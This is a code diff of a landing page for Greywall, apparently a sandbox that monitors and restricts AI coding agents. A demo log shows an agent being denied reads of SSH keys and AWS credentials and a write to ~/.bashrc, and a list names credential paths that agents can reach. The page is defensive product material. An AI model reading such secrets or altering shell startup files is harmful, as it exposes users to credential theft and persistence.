<path d="M12 0c-6.626 0-12 5.373-12 12 0 5.302 3.438 9.8 8.207 11.387.599.111.793-.261.793-.577v-2.234c-3.338.726-4.033-1.416-4.033-1.416-.546-1.387-1.333-1.756-1.333-1.756-1.089-.745.083-.729.083-.729 1.205.084 1.839 1.237 1.839 1.237 1.07 1.834 2.807 1.304 3.492.997.107-.775.418-1.305.762-1.604-2.665-.305-5.467-1.334-5.467-5.931 0-1.311.469-2.381 1.236-3.221-.124-.303-.535-1.524.117-3.176 0 0 1.008-.322 3.301 1.23.957-.266 1.983-.399 3.003-.404 1.02.005 2.047.138 3.006.404 2.291-1.552 3.297-1.23 3.297-1.23.653 1.653.242 2.874.118 3.176.77.84 1.235 1.911 1.235 3.221 0 4.609-2.807 5.624-5.479 5.921.43.372.823 1.102.823 2.222v3.293c0 .319.192.694.801.576 4.765-1.589 8.199-6.086 8.199-11.386 0-6.627-5.373-12-12-12z" />
|
||||||
|
</svg>
|
||||||
|
<span className="hidden sm:inline">GitHub</span>
|
||||||
|
</a>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</nav>
|
||||||
|
)
|
||||||
|
}
|
||||||
127
components/observability.tsx
Normal file
127
components/observability.tsx
Normal file
@@ -0,0 +1,127 @@
|
|||||||
|
'use client'
|
||||||
|
|
||||||
|
import { Eye, Activity, ShieldQuestion, Zap } from 'lucide-react'
|
||||||
|
import { usePlatform } from './platform-toggle'
|
||||||
|
|
||||||
|
export function Observability() {
|
||||||
|
const [platform] = usePlatform()
|
||||||
|
|
||||||
|
return (
|
||||||
|
<section className="py-24 px-6 border-t border-border/30">
|
||||||
|
<div className="mx-auto max-w-5xl">
|
||||||
|
<div className="max-w-2xl mb-16">
|
||||||
|
<div className="flex items-center gap-2 mb-4">
|
||||||
|
<Eye className="h-4 w-4 text-primary" />
|
||||||
|
<span className="text-xs font-sans uppercase tracking-wider text-primary font-medium">
|
||||||
|
Clarity
|
||||||
|
</span>
|
||||||
|
</div>
|
||||||
|
<h2 className="font-serif text-3xl sm:text-4xl font-semibold tracking-tight mb-4">
|
||||||
|
Watch it reach. Then decide.
|
||||||
|
</h2>
|
||||||
|
<p className="text-muted-foreground font-serif text-lg leading-relaxed">
|
||||||
|
You can't predict what your agent will access. Greywall makes every filesystem
|
||||||
|
operation and network connection visible in real time — so you make informed decisions
|
||||||
|
instead of guessing policies upfront.
|
||||||
|
</p>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div className="grid grid-cols-1 md:grid-cols-2 gap-6">
|
||||||
|
{/* Monitor mode */}
|
||||||
|
<div className="space-y-4">
|
||||||
|
<div className="flex items-center gap-3">
|
||||||
|
<div className="flex items-center justify-center w-8 h-8 rounded-md bg-primary/10 text-primary">
|
||||||
|
<Activity className="h-4 w-4" />
|
||||||
|
</div>
|
||||||
|
<h3 className="font-sans font-semibold text-sm">
|
||||||
|
{platform === 'linux' ? 'eBPF violation tracing' : 'Log stream monitoring'}
|
||||||
|
</h3>
|
||||||
|
</div>
|
||||||
|
<div className="code-block p-4">
|
||||||
|
<div className="text-xs text-muted-foreground mb-3 font-sans uppercase tracking-wider">
|
||||||
|
{platform === 'linux' ? 'Real-time syscall tracing' : 'Session-tagged violation stream'}
|
||||||
|
</div>
|
||||||
|
<div className="space-y-1.5 font-mono text-xs">
|
||||||
|
<div>
|
||||||
|
<span className="text-muted-foreground">$ </span>
|
||||||
|
<span className="text-greyhaven-offwhite">greywall -m -- claude</span>
|
||||||
|
</div>
|
||||||
|
<div className="mt-2 text-muted-foreground">
|
||||||
|
[14:23:01] <span className="text-red-400/80">DENY</span>{' '}
|
||||||
|
<span className="text-greyhaven-offwhite">read</span>{' '}
|
||||||
|
~/.ssh/id_ed25519
|
||||||
|
</div>
|
||||||
|
<div className="text-muted-foreground">
|
||||||
|
[14:23:01] <span className="text-red-400/80">DENY</span>{' '}
|
||||||
|
<span className="text-greyhaven-offwhite">read</span>{' '}
|
||||||
|
~/.aws/credentials
|
||||||
|
</div>
|
||||||
|
<div className="text-muted-foreground">
|
||||||
|
[14:23:02] <span className="text-red-400/80">DENY</span>{' '}
|
||||||
|
<span className="text-greyhaven-offwhite">write</span>{' '}
|
||||||
|
~/.bashrc
|
||||||
|
</div>
|
||||||
|
<div className="text-muted-foreground">
|
||||||
|
[14:23:03] <span className="text-green-400/70">ALLOW</span>{' '}
|
||||||
|
<span className="text-greyhaven-offwhite">read</span>{' '}
|
||||||
|
./src/index.ts
|
||||||
|
</div>
|
||||||
|
<div className="text-muted-foreground">
|
||||||
|
[14:23:03] <span className="text-green-400/70">ALLOW</span>{' '}
|
||||||
|
<span className="text-greyhaven-offwhite">write</span>{' '}
|
||||||
|
./src/utils.ts
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
{/* GreyProxy screenshot */}
|
||||||
|
<div className="space-y-4">
|
||||||
|
<div className="flex items-center gap-3">
|
||||||
|
<div className="flex items-center justify-center w-8 h-8 rounded-md bg-primary/10 text-primary">
|
||||||
|
<Eye className="h-4 w-4" />
|
||||||
|
</div>
|
||||||
|
<h3 className="font-sans font-semibold text-sm">GreyProxy dashboard</h3>
|
||||||
|
</div>
|
||||||
|
<div className="rounded-lg border border-border/40 overflow-hidden">
|
||||||
|
<img
|
||||||
|
src="/greyproxy.png"
|
||||||
|
alt="GreyProxy dashboard showing pending network requests with Allow and Deny controls"
|
||||||
|
className="w-full h-auto"
|
||||||
|
/>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
{/* Value props */}
|
||||||
|
<div className="mt-8 grid grid-cols-1 md:grid-cols-3 gap-4">
|
||||||
|
<div className="p-5 rounded-lg border border-border/40 bg-card/30">
|
||||||
|
<ShieldQuestion className="h-4 w-4 text-primary mb-3" />
|
||||||
|
<h4 className="font-sans font-medium text-sm mb-1">Answer hard questions</h4>
|
||||||
|
<p className="text-xs text-muted-foreground font-serif leading-relaxed">
|
||||||
|
What did the agent see? What did it access? What was denied? Greywall makes these
|
||||||
|
questions answerable for any session, at any time, after the fact.
|
||||||
|
</p>
|
||||||
|
</div>
|
||||||
|
<div className="p-5 rounded-lg border border-border/40 bg-card/30">
|
||||||
|
<Zap className="h-4 w-4 text-primary mb-3" />
|
||||||
|
<h4 className="font-sans font-medium text-sm mb-1">Move faster, safely</h4>
|
||||||
|
<p className="text-xs text-muted-foreground font-serif leading-relaxed">
|
||||||
|
Once you can see what agents do and control it without breaking flow, you stop
|
||||||
|
hesitating. Longer autonomous runs, more sub-agents, faster iteration on sensitive
|
||||||
|
workloads.
|
||||||
|
</p>
|
||||||
|
</div>
|
||||||
|
<div className="p-5 rounded-lg border border-border/40 bg-card/30">
|
||||||
|
<Activity className="h-4 w-4 text-primary mb-3" />
|
||||||
|
<h4 className="font-sans font-medium text-sm mb-1">Operate, don't hope</h4>
|
||||||
|
<p className="text-xs text-muted-foreground font-serif leading-relaxed">
|
||||||
|
Observability is the difference between operating AI and hoping AI operates.
|
||||||
|
Security becomes an enabler of velocity, not a constraint on it.
|
||||||
|
</p>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</section>
|
||||||
|
)
|
||||||
|
}
|
||||||
60
components/platform-toggle.tsx
Normal file
60
components/platform-toggle.tsx
Normal file
@@ -0,0 +1,60 @@
|
|||||||
|
'use client'
|
||||||
|
|
||||||
|
import { createContext, useContext, useState, useEffect, type ReactNode } from 'react'
|
||||||
|
|
||||||
|
export type Platform = 'linux' | 'macos'
|
||||||
|
|
||||||
|
const PlatformContext = createContext<{
|
||||||
|
platform: Platform
|
||||||
|
setPlatform: (p: Platform) => void
|
||||||
|
}>({ platform: 'linux', setPlatform: () => {} })
|
||||||
|
|
||||||
|
export function PlatformProvider({ children }: { children: ReactNode }) {
|
||||||
|
const [platform, setPlatform] = useState<Platform>('linux')
|
||||||
|
|
||||||
|
useEffect(() => {
|
||||||
|
if (navigator.userAgent.includes('Mac')) {
|
||||||
|
setPlatform('macos')
|
||||||
|
}
|
||||||
|
}, [])
|
||||||
|
|
||||||
|
return (
|
||||||
|
<PlatformContext.Provider value={{ platform, setPlatform }}>
|
||||||
|
{children}
|
||||||
|
</PlatformContext.Provider>
|
||||||
|
)
|
||||||
|
}
|
||||||
|
|
||||||
|
export function usePlatform() {
|
||||||
|
const { platform, setPlatform } = useContext(PlatformContext)
|
||||||
|
return [platform, setPlatform] as const
|
||||||
|
}
|
||||||
|
|
||||||
|
export function PlatformToggle() {
|
||||||
|
const [platform, setPlatform] = usePlatform()
|
||||||
|
|
||||||
|
return (
|
||||||
|
<div className="inline-flex items-center rounded-lg border border-border/50 bg-card/30 p-0.5">
|
||||||
|
<button
|
||||||
|
onClick={() => setPlatform('linux')}
|
||||||
|
className={`px-4 py-1.5 rounded-md text-xs font-sans font-medium transition-all ${
|
||||||
|
platform === 'linux'
|
||||||
|
? 'bg-primary text-primary-foreground shadow-sm'
|
||||||
|
: 'text-muted-foreground hover:text-foreground'
|
||||||
|
}`}
|
||||||
|
>
|
||||||
|
Linux
|
||||||
|
</button>
|
||||||
|
<button
|
||||||
|
onClick={() => setPlatform('macos')}
|
||||||
|
className={`px-4 py-1.5 rounded-md text-xs font-sans font-medium transition-all ${
|
||||||
|
platform === 'macos'
|
||||||
|
? 'bg-primary text-primary-foreground shadow-sm'
|
||||||
|
: 'text-muted-foreground hover:text-foreground'
|
||||||
|
}`}
|
||||||
|
>
|
||||||
|
macOS
|
||||||
|
</button>
|
||||||
|
</div>
|
||||||
|
)
|
||||||
|
}
|
||||||
75
components/problem.tsx
Normal file
75
components/problem.tsx
Normal file
@@ -0,0 +1,75 @@
|
|||||||
|
import { AlertTriangle, KeyRound, Globe, FolderOpen, FileCode } from 'lucide-react'
|
||||||
|
|
||||||
|
const exposures = [
|
||||||
|
{
|
||||||
|
icon: KeyRound,
|
||||||
|
path: '~/.ssh/',
|
||||||
|
label: 'SSH keys',
|
||||||
|
desc: 'Private keys, known hosts, agent configs',
|
||||||
|
},
|
||||||
|
{
|
||||||
|
icon: Globe,
|
||||||
|
path: '~/.aws/',
|
||||||
|
label: 'Cloud credentials',
|
||||||
|
desc: 'AWS tokens, GCP configs, Azure secrets',
|
||||||
|
},
|
||||||
|
{
|
||||||
|
icon: FileCode,
|
||||||
|
path: '.env',
|
||||||
|
label: 'Environment secrets',
|
||||||
|
desc: 'API keys, database URLs, auth tokens',
|
||||||
|
},
|
||||||
|
{
|
||||||
|
icon: FolderOpen,
|
||||||
|
path: '~/*',
|
||||||
|
label: 'Full filesystem',
|
||||||
|
desc: 'Every repo, document, and config file',
|
||||||
|
},
|
||||||
|
]
|
||||||
|
|
||||||
|
export function Problem() {
|
||||||
|
return (
|
||||||
|
<section className="py-24 px-6 border-t border-border/30">
|
||||||
|
<div className="mx-auto max-w-5xl">
|
||||||
|
<div className="max-w-2xl mb-16">
|
||||||
|
<div className="flex items-center gap-2 mb-4">
|
||||||
|
<AlertTriangle className="h-4 w-4 text-primary" />
|
||||||
|
<span className="text-xs font-sans uppercase tracking-wider text-primary font-medium">
|
||||||
|
The problem
|
||||||
|
</span>
|
||||||
|
</div>
|
||||||
|
<h2 className="font-serif text-3xl sm:text-4xl font-semibold tracking-tight mb-4">
|
||||||
|
Every agent inherits everything.
|
||||||
|
</h2>
|
||||||
|
<p className="text-muted-foreground font-serif text-lg leading-relaxed">
|
||||||
|
AI coding agents run as your user. They see your SSH keys, cloud tokens, env files, and
|
||||||
|
entire home directory. The model decides what to access at runtime — guided by weights
|
||||||
|
you didn't train, at machine speed. One wrong inference is all it takes.
|
||||||
|
</p>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div className="grid grid-cols-1 sm:grid-cols-2 lg:grid-cols-4 gap-4">
|
||||||
|
{exposures.map((item) => (
|
||||||
|
<div
|
||||||
|
key={item.path}
|
||||||
|
className="group p-5 rounded-lg border border-border/40 bg-card/30 hover:border-destructive/30 hover:bg-destructive/[0.03] transition-all"
|
||||||
|
>
|
||||||
|
<item.icon className="h-5 w-5 text-muted-foreground group-hover:text-destructive/70 mb-3 transition-colors" />
|
||||||
|
<code className="text-sm font-mono text-foreground block mb-1">{item.path}</code>
|
||||||
|
<p className="text-xs text-muted-foreground font-sans">{item.desc}</p>
|
||||||
|
</div>
|
||||||
|
))}
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div className="mt-10 p-5 rounded-lg border border-border/30 bg-card/20">
|
||||||
|
<p className="text-sm text-muted-foreground font-serif leading-relaxed">
|
||||||
|
<span className="text-foreground font-medium">Most setups rely on promises</span> —
|
||||||
|
trust the model provider's policies, trust the application code, trust that the
|
||||||
|
agent respects boundaries. Greywall replaces trust with enforcement. Constraints are
|
||||||
|
applied at the kernel level, below anything the agent or model can circumvent.
|
||||||
|
</p>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</section>
|
||||||
|
)
|
||||||
|
}
|
||||||
6
lib/utils.ts
Normal file
6
lib/utils.ts
Normal file
@@ -0,0 +1,6 @@
|
|||||||
|
import { clsx, type ClassValue } from 'clsx'
|
||||||
|
import { twMerge } from 'tailwind-merge'
|
||||||
|
|
||||||
|
export function cn(...inputs: ClassValue[]) {
|
||||||
|
return twMerge(clsx(inputs))
|
||||||
|
}
|
||||||
17
next.config.mjs
Normal file
17
next.config.mjs
Normal file
@@ -0,0 +1,17 @@
|
|||||||
|
/** @type {import('next').NextConfig} */
|
||||||
|
const nextConfig = {
|
||||||
|
typescript: {
|
||||||
|
ignoreBuildErrors: true,
|
||||||
|
},
|
||||||
|
images: {
|
||||||
|
unoptimized: true,
|
||||||
|
remotePatterns: [
|
||||||
|
{
|
||||||
|
protocol: 'https',
|
||||||
|
hostname: 'github.com',
|
||||||
|
},
|
||||||
|
],
|
||||||
|
},
|
||||||
|
}
|
||||||
|
|
||||||
|
export default nextConfig
|
||||||
1721
package-lock.json
generated
Normal file
1721
package-lock.json
generated
Normal file
File diff suppressed because it is too large
Load Diff
30
package.json
Normal file
30
package.json
Normal file
@@ -0,0 +1,30 @@
|
|||||||
|
{
|
||||||
|
"name": "greywall-landing-page",
|
||||||
|
"version": "0.1.0",
|
||||||
|
"private": true,
|
||||||
|
"scripts": {
|
||||||
|
"build": "next build",
|
||||||
|
"dev": "next dev",
|
||||||
|
"start": "next start"
|
||||||
|
},
|
||||||
|
"dependencies": {
|
||||||
|
"class-variance-authority": "^0.7.1",
|
||||||
|
"clsx": "^2.1.1",
|
||||||
|
"lucide-react": "^0.454.0",
|
||||||
|
"next": "16.0.10",
|
||||||
|
"next-themes": "^0.4.6",
|
||||||
|
"react": "19.2.0",
|
||||||
|
"react-dom": "19.2.0",
|
||||||
|
"tailwind-merge": "^3.3.1"
|
||||||
|
},
|
||||||
|
"devDependencies": {
|
||||||
|
"@tailwindcss/postcss": "^4.1.9",
|
||||||
|
"@types/node": "^22",
|
||||||
|
"@types/react": "^19",
|
||||||
|
"@types/react-dom": "^19",
|
||||||
|
"postcss": "^8.5",
|
||||||
|
"tailwindcss": "^4.1.9",
|
||||||
|
"tw-animate-css": "1.3.3",
|
||||||
|
"typescript": "^5"
|
||||||
|
}
|
||||||
|
}
|
||||||
8
postcss.config.mjs
Normal file
8
postcss.config.mjs
Normal file
@@ -0,0 +1,8 @@
|
|||||||
|
/** @type {import('postcss-load-config').Config} */
|
||||||
|
const config = {
|
||||||
|
plugins: {
|
||||||
|
'@tailwindcss/postcss': {},
|
||||||
|
},
|
||||||
|
}
|
||||||
|
|
||||||
|
export default config
|
||||||
BIN
public/apple-icon.png
Normal file
BIN
public/apple-icon.png
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 2.6 KiB |
0
public/favicon.ico
Normal file
0
public/favicon.ico
Normal file
BIN
public/greyproxy.png
Normal file
BIN
public/greyproxy.png
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 203 KiB |
BIN
public/icon-dark-32x32.png
Normal file
BIN
public/icon-dark-32x32.png
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 585 B |
BIN
public/icon-light-32x32.png
Normal file
BIN
public/icon-light-32x32.png
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 566 B |
24
public/icon.svg
Normal file
24
public/icon.svg
Normal file
@@ -0,0 +1,24 @@
|
|||||||
|
<svg viewBox="0 0 32 32" fill="none" xmlns="http://www.w3.org/2000/svg">
|
||||||
|
<!-- Shield shape -->
|
||||||
|
<path
|
||||||
|
d="M16 2L4 7V15C4 22.18 9.11 28.79 16 30C22.89 28.79 28 22.18 28 15V7L16 2Z"
|
||||||
|
fill="#D95E2A"
|
||||||
|
/>
|
||||||
|
<!-- Inner geometric pattern -->
|
||||||
|
<path
|
||||||
|
d="M16 6L8 9.5V15C8 20.05 11.42 24.68 16 26C20.58 24.68 24 20.05 24 15V9.5L16 6Z"
|
||||||
|
fill="#161614"
|
||||||
|
/>
|
||||||
|
<!-- Data nodes -->
|
||||||
|
<circle cx="16" cy="12" r="2" fill="#D95E2A" />
|
||||||
|
<circle cx="12" cy="17" r="1.5" fill="#D95E2A" />
|
||||||
|
<circle cx="20" cy="17" r="1.5" fill="#D95E2A" />
|
||||||
|
<circle cx="16" cy="21" r="1.5" fill="#D95E2A" />
|
||||||
|
<!-- Connection lines -->
|
||||||
|
<path
|
||||||
|
d="M16 14V19.5M14 16L12.5 17M18 16L19.5 17"
|
||||||
|
stroke="#D95E2A"
|
||||||
|
stroke-width="1"
|
||||||
|
stroke-linecap="round"
|
||||||
|
/>
|
||||||
|
</svg>
|
||||||
|
After Width: | Height: | Size: 756 B |
BIN
screenshots/greyproxy.png
Normal file
BIN
screenshots/greyproxy.png
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 203 KiB |
41
tsconfig.json
Normal file
41
tsconfig.json
Normal file
@@ -0,0 +1,41 @@
|
|||||||
|
{
|
||||||
|
"compilerOptions": {
|
||||||
|
"lib": [
|
||||||
|
"dom",
|
||||||
|
"dom.iterable",
|
||||||
|
"esnext"
|
||||||
|
],
|
||||||
|
"allowJs": true,
|
||||||
|
"target": "ES6",
|
||||||
|
"skipLibCheck": true,
|
||||||
|
"strict": true,
|
||||||
|
"noEmit": true,
|
||||||
|
"esModuleInterop": true,
|
||||||
|
"module": "esnext",
|
||||||
|
"moduleResolution": "bundler",
|
||||||
|
"resolveJsonModule": true,
|
||||||
|
"isolatedModules": true,
|
||||||
|
"jsx": "react-jsx",
|
||||||
|
"incremental": true,
|
||||||
|
"plugins": [
|
||||||
|
{
|
||||||
|
"name": "next"
|
||||||
|
}
|
||||||
|
],
|
||||||
|
"paths": {
|
||||||
|
"@/*": [
|
||||||
|
"./*"
|
||||||
|
]
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"include": [
|
||||||
|
"next-env.d.ts",
|
||||||
|
"**/*.ts",
|
||||||
|
"**/*.tsx",
|
||||||
|
".next/types/**/*.ts",
|
||||||
|
".next/dev/types/**/*.ts"
|
||||||
|
],
|
||||||
|
"exclude": [
|
||||||
|
"node_modules"
|
||||||
|
]
|
||||||
|
}
|
||||||
Reference in New Issue
Block a user